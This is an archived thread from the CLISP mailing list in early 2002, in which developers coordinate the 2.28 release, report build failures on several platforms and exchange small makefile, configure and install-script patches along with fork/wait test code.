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Sam Steingold <sds@gnu.org> writes:

> > * In message <20020223190952.A1918@apal.ii.uib.no>
> > * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems"
> > * Sent on Sat, 23 Feb 2002 19:09:52 +0100
> > * Honorable Stig E Sandoe <stig@ii.uib.no> writes:
> >
> > do you have an estimate when this (imho important) fix comes
> > in a released clisp?  ie when will the next clisp be released,
> > it has been quite awhile, and looking at clisp-devel it seems
> > to me that current cvs contains many important bug-fixes.
> 
> read CLISP/src/ChangeLog, find the bug you need, get the fixes you need
> from the CVS, apply the patches, build from the sources.

Are there things that you feel need to be done before the next
release?  In other words, are there things people can do (besides
donate funding) to hasten the next release of clisp?


Todd


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> * In message <014f01c1c0a7$473b61f0$1965a8c0@geoffspc>
> * On the subject of "[clisp-list] BUG?--DEFINE-COMPILER-MACRO"
> * Sent on Thu, 28 Feb 2002 17:28:41 -0500
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> Are compiler macros being used by the compiler?

yes - since CLISP 2.26.

[your example uncovered a bug which I just fixed - thanks :-]

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I was wondering if there was any plans for making CLISP compile to
machine code.  I like everything about CLISP except for the fact that it
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Jeremy Doolin writes:
 > I was wondering if there was any plans for making CLISP compile to
 > machine code.  I like everything about CLISP except for the fact that it
 > can't do that.

Why does this matter to you?  Is it that you like to read machine
code?  If your real problem is speed then you should say so.  But then
it would make sense to be more specific about what it is that you need
to be how much faster.  
One of the things I like about clisp is the fact that the compiled
code is portable.  (Did you know that?)  And that would be lost by
compiling to machine code.


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> * In message <m3664h43gg.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems"
> * Sent on 28 Feb 2002 18:00:15 -0500
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>
> Are there things that you feel need to be done before the next
> release?

I just committed the last (3rd) pre-test.
All the brave, please do "cvs up" and try it out.
I added weak hash-tables, which necessitated yet another fas-file format
change - the last before the release (I wanted to get weak HTs into 2.28
because I want to avoid fas-file format changes for some time).

Now, the things on the TODO list
(FIUAR = "Forget It Until After Release"):

1. trace of flet/label locals (me, FIUAR)

2. Todd's patches (require Bruno's approval, FIUAR)

3. iconv compilation issues on some platforms (Bruno)

4. Solaris/gcc3/FFC failures (Bruno)

5. format/pplb, other pretty-print issues (me, FIUAR)

6. message translations; so far we have Stefan <lin8080@freenet.de>
   doing the German messages.  We need French, Spanish and Dutch.
   Arseny, are you doing Russian?

7. libltdl integration for portability of dynamic modules, including
   woe32 (Bruno, FIUAR)

8. dirkey/ldap (me, FIUAR)

9. linux.lisp wait/waitpid patch needs to be tested and comitted...

...
   
Bruno is very busy, so we will not wait for him (unless he speaks up and
tells us to wait :-), even though the release quality will probably
suffer.

thus: as soon as the message translations are in, the release is out.

you are _very_ welcome to pick up the aforementioned tasks, especially 5&8.



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Hello, Sam,

Friday, March 01, 2002, 2:49:20 PM, you wrote:

Sam>    Arseny, are you doing Russian?
There is about 1/3 left (2/3 done). If translation detains the
release, I'll speed translation up.

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On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote:
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> > * Sent on Thu, 28 Feb 2002 08:46:17 +0100
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> > For some reason, wait() and waitpid() are not included in linux.lisp.
> 
> try the appended patch (with the CVS CLISP) and see wrap.lisp for usage
> of the :out args.
> if it does what you want, I will commit the patch.
> 
Hi,

Thanks.

> > Clisp has pipes, but they use the shell (I think).
> 
> shell is cheap (100k /bin/ash).
> i/o redirection is not quite trivial.
> I do not want to re-implement BASH in the CLISP's C substrate.
> 

I understand that.

Regards,
Peter


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> * In message <20020301080257.A204@localhost.localdomain>
> * On the subject of "Re: [clisp-list] Relatively new to Clisp"
> * Sent on Fri, 1 Mar 2002 08:02:57 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
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> On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote:
> > try the appended patch (with the CVS CLISP) and see wrap.lisp for usage
> > of the :out args.
> > if it does what you want, I will commit the patch.
> 
> Thanks.

do you mean that the patch works?

> > > Clisp has pipes, but they use the shell (I think).
> > 
> > shell is cheap (100k /bin/ash).
> > i/o redirection is not quite trivial.
> > I do not want to re-implement BASH in the CLISP's C substrate.
> 
> I understand that.

BTW, how is "&" implemented in a shell?
when I do vfork/exec/wait, I am blocked till the sub-process is done.
do I just drop wait(2)?

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Sam,

At its essence, the shells' detachment operator ('&') does indeed amount to 
just deferring the wait(2) call.

However, that call cannot be omitted entirely. Processes are not fully gone 
until they've been wait()-ed for. If their immediate parent exits without 
wait()-ing, then the system's "init" process (process ID 1) inherits and 
cleans up after these processes.

If your process is long-running, then you must enable (catch) the SIGCLD 
signal so you know when a child process's state changes. Unless you're 
using the kernel debugging interfaces, "state change" just means process 
termination. When you get a SIGCLD you then issue the wait call, which is 
guaranteed in that circumstance not to block (assuming the SIGCLD is not 
fictitious). With the return value from wait(2) (which includes the process 
ID and information about how it terminated) you can do what ever internal 
bookkeeping is necessary to clean up after and report the termination of 
the sub-process.

Randall Schulz
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At 08:05 2002-03-01, Sam Steingold wrote:
>...
>
>BTW, how is "&" implemented in a shell? when I do vfork/exec/wait, I am 
>blocked till the sub-process is done. do I just drop wait(2)?
>
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> * In message <m3664h43gg.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems"
> * Sent on 28 Feb 2002 18:00:15 -0500
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
>
> Are there things that you feel need to be done before the next
> release?

I want the release out by Monday.

I tested it on Linux and FreeBSD.

There will be _NO_ release until I get confirmation from the users that
the current CVS CLISP compiles out of the box on at least win32 and
Solaris.

The translations can wait for the next release, but if I receive no
build reports from Solaris and win32 people in the near future, I
cannot make a release, thus the translations will get in &c.

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> * In message <19224769176.20020301161857@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] next release"
> * Sent on Fri, 1 Mar 2002 16:18:57 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
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> Friday, March 01, 2002, 2:49:20 PM, you wrote:
> 
> Sam>    Arseny, are you doing Russian?
> There is about 1/3 left (2/3 done). If translation detains the
> release, I'll speed translation up.

Arseny, I don't think you will finish it by 2.28.
testing on win32 has much higher priority right now.
Can you do it?  (I do not have access to a woe32 machine)
you need to build, do a 'make check', and try install.bat
thanks.

Russian translations will be added in 2.29.

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Sam Steingold <sds@gnu.org> writes:
> > Are there things that you feel need to be done before the next
> > release?
> 
> I want the release out by Monday.
> 
> I tested it on Linux and FreeBSD.

Current CVS is failing for me on Redhat62, due to an ICONV_CONST
mismatch.  I think I've figured out the problem.  unixconf.h.in
has a line:

#define ICONV_CONST

but the autoconf sed stuff can't change it because there's no symbol
it's defined to, which causes the sed expressions autoconf uses not to
work.  Apparently, the way to address that is by changing it thusly:

diff -u -r1.30 unixconf.h.in
--- src/unixconf.h.in	25 Dec 2001 17:48:28 -0000	1.30
+++ src/unixconf.h.in	2 Mar 2002 04:56:38 -0000
@@ -653,7 +653,7 @@
    iconv_open, iconv, iconv_close functions. */
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 /* Define as const if the declaration of iconv() needs const. */
-#define ICONV_CONST
+#undef ICONV_CONST
 
 
 /* OS services */

which matches the way all the other *_CONST stuff in there is done.
And it does fix the build on Redhat 6.2.  Redhat 7.2 also still works
(and does without the patch).  Unfortunately, with the patch the build
doesn't work on FreeBSD 4.5 (I haven't tried 4.5 without the patch).
The problem in that case is that it doesn't have ICONV at all, so no
line is added to confdefs.h one way or the other about ICONV_CONST,
which leaves the undef as is.  So the compiler complains about
ICONV_CONST being unrecognized.  A possible way around _that_ is this:

diff -u -r1.30 unixconf.h.in
--- src/unixconf.h.in	25 Dec 2001 17:48:28 -0000	1.30
+++ src/unixconf.h.in	2 Mar 2002 05:18:32 -0000
@@ -653,8 +653,11 @@
    iconv_open, iconv, iconv_close functions. */
 #undef HAVE_ICONV
 /* Define as const if the declaration of iconv() needs const. */
-#define ICONV_CONST
+#undef ICONV_CONST
 
+#ifndef ICONV_CONST
+#define ICONV_CONST
+#endif
 
 /* OS services */
 

which makes sure that ICONV_CONST is defined as nothing, if not
defined yet.  Probably the right way is to use just the first patch,
but also fix the code in configure to put a line in confdefs.h even if
iconv isn't present, but it seems that configure itself is
auto-generated somehow.  I really have no idea how this autoconf stuff
is supposed to work, in case you couldn't tell... :) Hopefully,
someone else does...

Anyway, with this second patch, Redhat 6.2 and 7.2 build for me fine.
FreeBSD 4.5 manages to build the clisp binaries, but chokes on the
Makefile in the suite directory, saying:

LISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -norc"; export LISP; cd suite; make LISP="$LISP"
"Makefile", line 2: Missing dependency operator
"Makefile", line 5: Need an operator
"Makefile", line 8: Need an operator
make: fatal errors encountered -- cannot continue
*** Error code 1

> There will be _NO_ release until I get confirmation from the users that
> the current CVS CLISP compiles out of the box on at least win32 and
> Solaris.

I'll try the windows build tomorrow.  Don't have any Solaris...


Todd


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On Fri, Mar 01, 2002 at 11:05:33AM -0500, Sam Steingold wrote:

> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote:
> > > try the appended patch (with the CVS CLISP) and see wrap.lisp for usage
> > > of the :out args.
> > > if it does what you want, I will commit the patch.
> > 
> > Thanks.
> 
> do you mean that the patch works?

I have now tested it as far as possible, and I think it works fine.
My understanding is there is a whole bunch of __W* macros in
bits/waitstatus.h and W* macros in sys/wait.h which are needed for
accessing the status value, so I have not been able to check that part
of it yet.  That is, I can't get information about the child's exist
status.

Thanks again.

Peter

ps.  I will have a go at doing ffi definitions for the W* macros, but
it won't be soon.


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Hello Sam,

Saturday, March 02, 2002, 12:37:02 PM, you wrote:

Sam> Arseny, I don't think you will finish it by 2.28.
Sam> testing on win32 has much higher priority right now.
Sam> Can you do it?  (I do not have access to a woe32 machine)
Sam> you need to build, do a 'make check', and try install.bat
Sam> thanks.
It compiles fine except file spvw_language.d which needs declaration
of uint. It seems to be declared in intparam.d -> intparam.h, which
is not available in win32 (I think). So I suggest change uint to uintL
- see patch.

Install.bat and generated clisp.bat works fine.

Tests are passed. Make check ok.

CLHS doesn't work:
[1]> (clhs 'car)

*** - There is no package with name "NIL"
1. Break [2]> abort

*** - There is no package with name "NIL"
1. Break [3]> abort

Note: I tried to abort twice !

Maybe that will help

[3]> (load "clhs.lisp")
;; Loading file clhs.lisp ...
;; Loading of file clhs.lisp is finished.
T

[5]> (clhs 'car)

*** - There is no package with name "NIL"
1. Break [6]> up

EVAL frame for form
(PROGN (SYSTEM::%SET-PACKAGE-LOCK #:WOPL-1231 NIL)
 (SETQ SYSTEM::*CLHS-TABLE*
  (READ-FROM-FILE (SYSTEM::CLISP-DATA-FILE "clhs.txt") :OUT SYSTEM::OUT
   :PACKAGE "COMMON-LISP")))


(describe (code-char 1234)) works.

I cannot makemake nor make distrib since I only have small subset of
cygwin which moreover I didn't used much. I'll try to download and use
it. Or I'll try to do distrib in FreeBSD (mount the FAT drive and make
distrib with win32 makefile - is it valid approach ?).


-- 
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 Arseny                            mailto:ampy@ich.dvo.ru
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On Sat, Mar 02, 2002 at 08:35:58AM +0100, Peter Wood wrote:
> On Fri, Mar 01, 2002 at 11:05:33AM -0500, Sam Steingold wrote:
> 
> > > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> > >
> > > On Thu, Feb 28, 2002 at 01:58:39PM -0500, Sam Steingold wrote:
> > > > try the appended patch (with the CVS CLISP) and see wrap.lisp for usage
> > > > of the :out args.
> > > > if it does what you want, I will commit the patch.
> > > 
> > > Thanks.
> > 
> > do you mean that the patch works?
> 
> I have now tested it as far as possible, and I think it works fine.
> My understanding is there is a whole bunch of __W* macros in
> bits/waitstatus.h and W* macros in sys/wait.h which are needed for
> accessing the status value, so I have not been able to check that part
> of it yet.  That is, I can't get information about the child's exist
> status.
> 
> Thanks again.
> 
> Peter
> 
> ps.  I will have a go at doing ffi definitions for the W* macros, but
> it won't be soon.
> 

Hi,

There is not actually much to the  W* macros.  So I'm not sure its
worth adding them to  linux.lisp.

This works very nicely:

(defun test-wait2 ()
  (let ((pid (linux:fork)))
    (cond ((= pid -1) (error "fork failed"))
	  ((/= pid 0) (multiple-value-bind (childpid status)
			 (linux:wait)
			   (progn (format t "Child pid=~a has finished~%" childpid)
				  (if (zerop (logand status #x7f))
				      (format t "...with exit code=~a~%" 
					      (ash (logand status #xff00) -8))
				    (format t "Child bombed~%")))))
	  (t (progn 
	       (format t "~&Hello, Pop~%")
	       (linux:exit 37))))))



[1](test-wait2)

Hello, pop
Child pid=3048 has finished
...with exit code=37
NIL
[2]

Regards,
Peter


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Hello Sam,

Saturday, March 02, 2002, 12:37:02 PM, you wrote:

Sam> testing on win32 has much higher priority right now.
I suggest that patch. The new data : section of makefile
was totally unixoid and didn't work in win32.
With that patch I was able to make distrib (from FreeBSD)
which contained amongst other files
data/UnicodeData.txt,
data/clhs.txt,
emacs/clisp-coding.el,
emacs/clisp-indent.el,
emacs/clisp-indent.lisp.

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Hi Arseny,

> * In message <56483214.20020303015536@ich.dvo.ru>
> * On the subject of "Re[4]: [clisp-list] next release"
> * Sent on Sun, 3 Mar 2002 01:55:36 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
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> I suggest that patch. The new data : section of makefile
> was totally unixoid and didn't work in win32.

> -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt UnicodeData.txt"
> -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}src${NEXT}clhs.txt clhs.txt"
> +echotab "\$(LN_S) ${SRCTOPDIR_M}utils${NEXT_}unicode${NEXT_}ftp.unicode.org${NEXT_}UnicodeData.txt data${NEXT_}UnicodeData.txt"
> +echotab "\$(LN_S) ${SRCTOPDIR_M}src${NEXT_}clhs.txt data${NEXT_}clhs.txt"

this is broken when LN_S is "ln -s".

please try the appended patch

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 echol "data :"
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+echotab "rm -rf data"
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 echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt UnicodeData.txt"
 echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}src${NEXT}clhs.txt clhs.txt"



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> * In message <14411545751.20020302211317@ich.dvo.ru>
> * On the subject of "Re[4]: [clisp-list] next release"
> * Sent on Sat, 2 Mar 2002 21:13:17 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> It compiles fine except file spvw_language.d which needs declaration
> of uint. It seems to be declared in intparam.d -> intparam.h, which
> is not available in win32 (I think). So I suggest change uint to uintL
> - see patch.

that was actually a typo.
thanks.

> *** - There is no package with name "NIL"
fixed -- thanks!

please try again.

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> * In message <20020302132845.A2993@localhost.localdomain>
> * On the subject of "Re: [clisp-list] Relatively new to Clisp"
> * Sent on Sat, 2 Mar 2002 13:28:45 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> There is not actually much to the  W* macros.  So I'm not sure its
> worth adding them to  linux.lisp.

I did anyway.

(defun mesg (&rest fmt-args)
  (format t "~&[~d] " (linux:getpid))
  (apply #'format t fmt-args))
(defun test-wait2 ()
  (let ((pid (linux:fork)))
    (cond ((= pid -1) (error "fork failed"))
	  ((/= pid 0)
           (mesg "Started child ~d~%" pid)
           (multiple-value-bind (childpid status) (linux:wait)
             (mesg "Child ~d has finished~%" childpid)
             (if (zerop (logand status #x7f))
                 (mesg "with exit code=~a~%" (linux:WEXITSTATUS status))
                 (mesg "Child bombed ~d / ~d~%" (linux:WTERMSIG status)
                       (linux:WEXITSTATUS status)))))
	  (t (sleep 1)          ; let dad go first
             (mesg "Hello, Pop (~d), I am ~d~%"
                   (linux:getppid) (linux:getpid))
             (linux:exit 37)))))
(test-wait2)

[17857] Started child 17858
[17858] Hello, Pop (17857), I am 17858
[17857] Child 17858 has finished
[17857] with exit code=37

thanks!

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> * In message <F484FR0rmTIVvLVKi3s000002fe@hotmail.com>
> * On the subject of "[clisp-list] Can I ask??plz"
> * Sent on Sat, 02 Mar 2002 15:22:36 +0000
> * Honorable "lovely Kitten" <dodi_froti@hotmail.com> writes:
>
> 1-link for free Clisp download.

<http://clisp.cons.org>
<http://www.clisp.org>

> 2-link for good site about Clisp syntax.
> 3-Is there a big difference between Lisp and Clisp syntax??

CLISP is an implementation of ANSI Common Lisp (ANSI CL for short).
See <http://www.lisp.org/HyperSpec/FrontMatter/> for the CLHS (the
on-line non-authoritative version of the standard).

Get Paul Graham's "ANSI Common Lisp" book.

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--- Sam Steingold <sds@gnu.org> wrote:
> > * In message
> <F484FR0rmTIVvLVKi3s000002fe@hotmail.com>
> > * On the subject of "[clisp-list] Can I ask??plz"
> > * Sent on Sat, 02 Mar 2002 15:22:36 +0000
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> <dodi_froti@hotmail.com> writes:
> >
> > 1-link for free Clisp download.
> 
> <http://clisp.cons.org>
> <http://www.clisp.org>
> 
> > 2-link for good site about Clisp syntax.
> > 3-Is there a big difference between Lisp and Clisp
> syntax??
> 
> CLISP is an implementation of ANSI Common Lisp (ANSI
> CL for short).
> See <http://www.lisp.org/HyperSpec/FrontMatter/> for
> the CLHS (the
> on-line non-authoritative version of the standard).
> 
> Get Paul Graham's "ANSI Common Lisp" book.
> 
I found "Object Oriented Common Lisp" by Stephen Slade
more useful as a tutorial. Sam, is there anything 
terribly wrong with it ? 

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> > Get Paul Graham's "ANSI Common Lisp" book.
> > 
> I found "Object Oriented Common Lisp" by Stephen Slade more useful as
> a tutorial. Sam, is there anything terribly wrong with it ?

I have never seen the book.
I have never heard anything bad about it.

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> * In message <m3elj3fs20.fsf@jetcar.qnz.org>
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> * Sent on 02 Mar 2002 00:37:59 -0500
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
>
> Current CVS is failing for me on Redhat62, due to an ICONV_CONST
> mismatch.  I think I've figured out the problem.  unixconf.h.in
> has a line:
> 
> #define ICONV_CONST

I _think_ I just fixed this, hopefully forever.
Please _do_ test it on all your platforms.

And I do not mean just you, Todd.
Everyone who has been saying "release early; release often" -
please do "cvs up" and build CLISP on your platform.
You have nothing to lose: if you succeed, you will have the next stable
version of CLISP a couple of days before everyone else, if you fail and
report your problem, the next CLISP version will work on your platform
out of the box, so you will not have to wait until the next release.

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Hello Sam,

Sunday, March 03, 2002, 5:37:52 AM, you wrote:

>> I suggest that patch. The new data : section of makefile
>> was totally unixoid and didn't work in win32.

>> -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt UnicodeData.txt"
>> -echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}src${NEXT}clhs.txt clhs.txt"
>> +echotab "\$(LN_S) ${SRCTOPDIR_M}utils${NEXT_}unicode${NEXT_}ftp.unicode.org${NEXT_}UnicodeData.txt data${NEXT_}UnicodeData.txt"
>> +echotab "\$(LN_S) ${SRCTOPDIR_M}src${NEXT_}clhs.txt data${NEXT_}clhs.txt"

Sam> this is broken when LN_S is "ln -s".
Sam> please try the appended patch

Sam> DATA_FILES="UnicodeData.txt clhs.txt"
Sam> echol "data :"
Sam>-echotab "if test -d data; then rm -rf data; fi"
Sam>+echotab "rm -rf data"
Then, maybe, "-rm -rf data" ?
Sam> echotab "mkdir data"
Sam> echotab "cd data && \$(LN_S) ${PARENT_SRCTOPDIR}utils${NEXT}unicode${NEXT}ftp.unicode.org${NEXT}UnicodeData.txt

I tried a lot of ways. In win32 LN_S=copy , which doesn't understand
forward slashes on NT (it counts it as option). Since we use sed
and rm (I personally use set of GNU file utilities ported for NT,
must have for developer) we can use LN_S=cp.

Or we need ${PARENT_SRCTOPDIR_} in addition to ${PARENT_SRCTOPDIR}.
But rm still remains. To remove it we need
$(RMRF1)=del /q /s  $(RMRF2)=rmdir /q /s on win32 and
$(RMRF1)=rm -rf  $(RMRF2)=  on unix and use both it every time
or something similar (bat file rmrf.bat for example). Brrr...
Using rm is less painful. BTW, there is ln port, it even gets
rid of NT hardlinks.

It seems to me that Makefile was revised to remove use of such
utilities for win32 since last year, is it ?

Another problem is data dependency. VC nmake looks to data directory
creation date and does nothing if it exists (but files in it may be
obsolete). I don't know whether it is a big problem.

clhs working now.

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Sam Steingold <sds@gnu.org> writes:
> > Current CVS is failing for me on Redhat62, due to an ICONV_CONST
> > mismatch.  I think I've figured out the problem.  unixconf.h.in
> > has a line:
> > 
> > #define ICONV_CONST
> 
> I _think_ I just fixed this, hopefully forever.
> Please _do_ test it on all your platforms.

Works on Redhat 6.2 and 7.2.  FreeBSD 4.5 builds to the point where it
complains about the Makefile in suite, as mentioned in the last mail.
Is that normal?

I tried win32 with VS6 earlier today.  Builds with a couple minor
problems fixed.  The first is that del fails on non-existant files,
so

--- ../win32msvc/makefile.msvc5	Mon Nov 19 14:38:15 2001
+++ makefile	Sat Mar  2 16:40:50 2002
@@ -50,10 +50,10 @@
 MSVCDIR = "C:/Program Files/Microsoft Visual Studio/VC98"
 
 MAKE = nmake
-RM = del
+RM = -del
 CP = copy
 LN_S = copy
 MV = ren


The other is that the supplied install.bat is referencing
src/install.lisp, but appears to want to be run from src itself, which
doesn't work.


RCS file: /cvsroot/clisp/clisp/src/install.bat,v
retrieving revision 1.2
diff -u -b -r1.2 install.bat
--- install.bat	9 Jun 2001 17:03:13 -0000	1.2
+++ install.bat	3 Mar 2002 02:11:53 -0000
@@ -6,6 +6,6 @@
 echo press C-c to abort
 pause
 
-lisp.exe -B . -M lispinit.mem -norc -C src/install.lisp
+lisp.exe -B . -M lispinit.mem -norc -C install.lisp
 
 pause


Todd


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Hello Todd,

Sunday, March 03, 2002, 12:31:43 PM, you wrote:

Todd>  MAKE = nmake
Todd> -RM = del
Todd> +RM = -del
Always in makemake.in, Makefile.msvc5 just needs to be recreated.

Todd> The other is that the supplied install.bat is referencing
Todd> src/install.lisp, but appears to want to be run from src itself, which
Todd> doesn't work.
install.bat intended to be called from distribution, where src/ and
data/ (which also is in makefile.in) exists.


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> * In message <m3adtqfkkw.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] REINITIALIZE-INSTANCE problems"
> * Sent on 02 Mar 2002 21:31:43 -0500
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
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> FreeBSD 4.5 builds to the point where it complains about the Makefile
> in suite, as mentioned in the last mail.  Is that normal?

I just fixed this.
unfortunately this required removing the gnu-make-specific IF construct
(is there a portable on across all make implementations? :-)
this means that cygwin users will have to edit the Makefile to run the
testsuite or specify the LISP make var on the command line.

> I tried win32 with VS6 earlier today.  Builds with a couple minor
> problems fixed.  The first is that del fails on non-existant files,
> so
> 
> --- ../win32msvc/makefile.msvc5	Mon Nov 19 14:38:15 2001
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> @@ -50,10 +50,10 @@
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>  
>  MAKE = nmake
> -RM = del
> +RM = -del
>  CP = copy
>  LN_S = copy
>  MV = ren

please regenerate your makefile.msvc5 using
make -f Makefile.devel win32msvc/makefile.msvc5

> The other is that the supplied install.bat is referencing
> src/install.lisp, but appears to want to be run from src itself, which
> doesn't work.

you are missing the point.
install.bat is for the users of the binary distributions.
a binary distribution has lisp.exe and lispinit.mem at the top-level
and install.lisp in the src subdirectory.
you should use cygwin to create a binary distribution
        $ make distrib
and then install it somewhere and run install.bat there.


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Hi Arseny,

> * In message <972598656.20020303104043@ich.dvo.ru>
> * On the subject of "Re[6]: [clisp-list] next release"
> * Sent on Sun, 3 Mar 2002 10:40:43 +1000
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> It seems to me that Makefile was revised to remove use of such
> utilities for win32 since last year, is it ?

i do not recall it.
when?
what ChangeLog entry?
CVS revision?

> Another problem is data dependency. VC nmake looks to data directory
> creation date and does nothing if it exists (but files in it may be
> obsolete). I don't know whether it is a big problem.
this is not a big deal.

> clhs working now.
good.

I _think_ I fixed the problems you mention in the makemake.in in the
CVS.
please regenerate your makefile and try again.
thanks.

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Hi,
This is the link for the page:

http://www.cs.caltech.edu/~cs20/tools.html

The download link you will see it in this page is:
Clisp2.27 for win32(2MB).


please  Download the program and tri to make the setup process and send
clear steps to me.

note:This link will help you:
http://sandbox.mc.edu/~bennet/cs404/lisp.html

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Hello Sam,

Sunday, March 03, 2002, 4:31:56 PM, you wrote:

>> It seems to me that Makefile was revised to remove use of such
>> utilities for win32 since last year, is it ?

Sam> i do not recall it.
Sam> when?
Sam> what ChangeLog entry?
Sam> CVS revision?
I remember that when I tried compile clisp on win32 for the first
time, it was impossible to compile without cp, sed and uniq. I didn't
tried recently w/o utilities, but at least cp was changed to copy.
Uniq was removed at all. Sed is called on distrib stage only. In
last patch you removed call to rm and added del instead. That's what
I mean.

Sam> I _think_ I fixed the problems you mention in the makemake.in in the
Sam> CVS.
Sam> please regenerate your makefile and try again.
Genialno. Works. Del asks permission to delete files by pattern, so
it needs the /q switch:

Index: makemake.in
===================================================================
RCS file: /cvsroot/clisp/clisp/src/makemake.in,v
retrieving revision 1.226
diff -u -r1.226 makemake.in
--- makemake.in 3 Mar 2002 06:34:17 -0000       1.226
+++ makemake.in 3 Mar 2002 09:11:42 -0000
@@ -612,7 +612,7 @@
 
 # RM = command for deleting files
 if [ $H_DOS = "true" ] ; then
-  RM='del'
+  RM='del /q'
 else
   if [ $HOS = acorn ] ; then
     RM='remove'



Problems with make check (I didn't make check with newly generated
makefile until now):
  francais
  spanish
  comp.exe returns error on compare (because of gensyms).
    I never went further, but now when I changing comp to
    -comp, testsuite doesn't work: copy doesn't take arbitrary
    number of args:

        mkdir suite
        cd suite && copy ..\..\tests\Makefile ..\..\tests\*.lisp ..\..\tests\*.tst .    

    Recently I created separate makefile for tests and it was
    passed.

This is not vitally important though.

WARNING:
INTERN("STOREFORM"): #<PACKAGE LDAP> is locked
Ignore the lock and proceed

  Is that normal ?  A lot of such warnings prints out during make
  check.


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> * In message <20020302211105.52015.qmail@web14603.mail.yahoo.com>
> * On the subject of "Re: [clisp-list] Can I ask??plz"
> * Sent on Sat, 2 Mar 2002 13:11:05 -0800 (PST)
> * Honorable Klaus Momberger <klaus_momberger@yahoo.com> writes:

> > Get Paul Graham's "ANSI Common Lisp" book.

Graham Paul

   ANSI common lisp

ISBN 3-8272-9542-2
(German-Version) 
S.510 1997

Translaters: Stefan Landvogt & Stefan Bamberger
c 1997 Prentice Hall PTR
http://www.prenhall.com

>> I found "Object Oriented Common Lisp" by Stephen Slade more useful as
>> a tutorial. Sam, is there anything terribly wrong with it ?

> I have never seen the book.
> I have never heard anything bad about it.

"...simply the most effective way to learn LISP."

Slade, Stephen

   Object-Oriented common LISP

ISBN 0-13-605940-6 (alk.paper)

1. Object-oriented programming (Computer science)
2.COMMON LISP (Computer program language
S.576   1997

Editoral/Production Supervision:  Kathleen M.Caren
Acquisitions Editor:              Gregory G.Doench
Editorial Assistant:              Mary Treacy
c 1998 Prentice Hall PTR
http://www.prenhall.com

- may be this goes to the docus for the 2.28 version ?

stefan



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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

  Sam> I tested it on Linux and FreeBSD.

on Linux, I get an error during "make install". I build in a private
directory (last argument to configure is the directory
/tmp/clisp-gcc). Build and tests work fine (including modules wildcard
and regexp and --export-syscalls), then in the /tmp/clisp-gcc
directory,

,----
| % sudo make install
| test -d /usr/local || mkdir /usr/local
| test -d /usr/local || mkdir /usr/local
| test -d /usr/local/lib || mkdir /usr/local/lib
| test -d /usr/local/lib/clisp || mkdir /usr/local/lib/clisp
| test -d /usr/local/lib/clisp/data || mkdir /usr/local/lib/clisp/data
| /usr/bin/install -c -m 644 data/UnicodeData.txt /usr/local/lib/clisp/data/UnicodeData.txt
| /usr/bin/install: cannot stat `data/UnicodeData.txt': No such file or directory
| make: *** [install-bin] Error 1
| % ls -l data
| total 0
|    0 lrwxrwxrwx    1 emarsden tsf            73 Mar  3 18:24 UnicodeData.txt -> ..//opt/src/cvs-clisp/clisp/utils/unicode/ftp.unicode.org/UnicodeData.txt
|    0 lrwxrwxrwx    1 emarsden tsf            40 Mar  3 18:24 clhs.txt -> ..//opt/src/cvs-clisp/clisp/src/clhs.txt
| %       
`----

I ran configure from the directory /opt/src/cvs-clisp/clisp. 
  

  Sam> There will be _NO_ release until I get confirmation from the users that
  Sam> the current CVS CLISP compiles out of the box on at least win32 and
  Sam> Solaris.

is the FFI supposed to work on Solaris?  I generally build without it,
but I just tried to build with the regexp and wildcard modules, and it
fails with

,----
| /tmp/clisp-gcc/lisp.run -M /tmp/clisp-gcc/lispinit.mem -B /tmp/clisp-gcc -N /tmp/clisp-gcc/locale -Efile UTF-8 -norc -q -c regexp.lisp
| Compiling file /tmp/clisp-gcc/regexp/regexp.lisp ...
| *** - There is no package with name "FFI"
`----

This is on SunOS 5.7 with gcc 2.95.2. The avcall stuff seems to have
compiled ok:

,----
| /tmp/clisp-gcc$ cat avcall/minitests.output.sparc-sun-solaris2.7 
| Int f(Int,Int,Int):({1},{2},{3})->{6}
| Int f(Int,Int,Int):({1},{2},{3})->{9}
| J f(J,int,J):({47,11},2,{73,55})->{120,68}
| J f(J,int,J):({47,11},2,{73,55})->{9,902231815}
`----
  
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Hi Arseny

> * In message <543102411.20020303201536@ich.dvo.ru>
> * On the subject of "Re[8]: [clisp-list] next release"
> * Sent on Sun, 3 Mar 2002 20:15:36 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
>
> -  RM='del'
> +  RM='del /q'
done

> Problems with make check (I didn't make check with newly generated
> makefile until now):
>   francais
>   spanish
>   comp.exe returns error on compare (because of gensyms).
that's okay.

>     I never went further, but now when I changing comp to
>     -comp, testsuite doesn't work: copy doesn't take arbitrary
>     number of args:
fixed.

> WARNING:
> INTERN("STOREFORM"): #<PACKAGE LDAP> is locked
